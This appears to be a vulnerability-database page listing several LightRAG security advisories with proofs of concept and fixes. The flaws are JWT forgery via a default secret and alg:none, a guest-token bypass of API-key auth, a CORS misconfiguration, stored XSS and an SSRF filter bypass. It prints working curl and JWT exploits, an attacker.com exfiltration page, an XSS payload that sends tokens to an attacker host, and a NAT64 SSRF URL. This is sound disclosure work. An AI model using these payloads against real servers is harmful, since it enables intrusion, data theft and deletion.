lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-39413 PYSEC-2026-2592 GHSA-8ffj-4hx4-9pgf Jul 13, 2026

lightrag-hku: JWT Algorithm Confusion Vulnerability

4.2 / 10

Medium

Network High High Required Unchanged High None None

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 65 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.14

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-30762 PYSEC-2026-2593 GHSA-mcww-4hxq-hfr3 Jul 13, 2026

LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

7.5 / 10

High

Network Low None None Unchanged High None None

Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 64 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Mar 29, 2026

1.4.12 patch

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


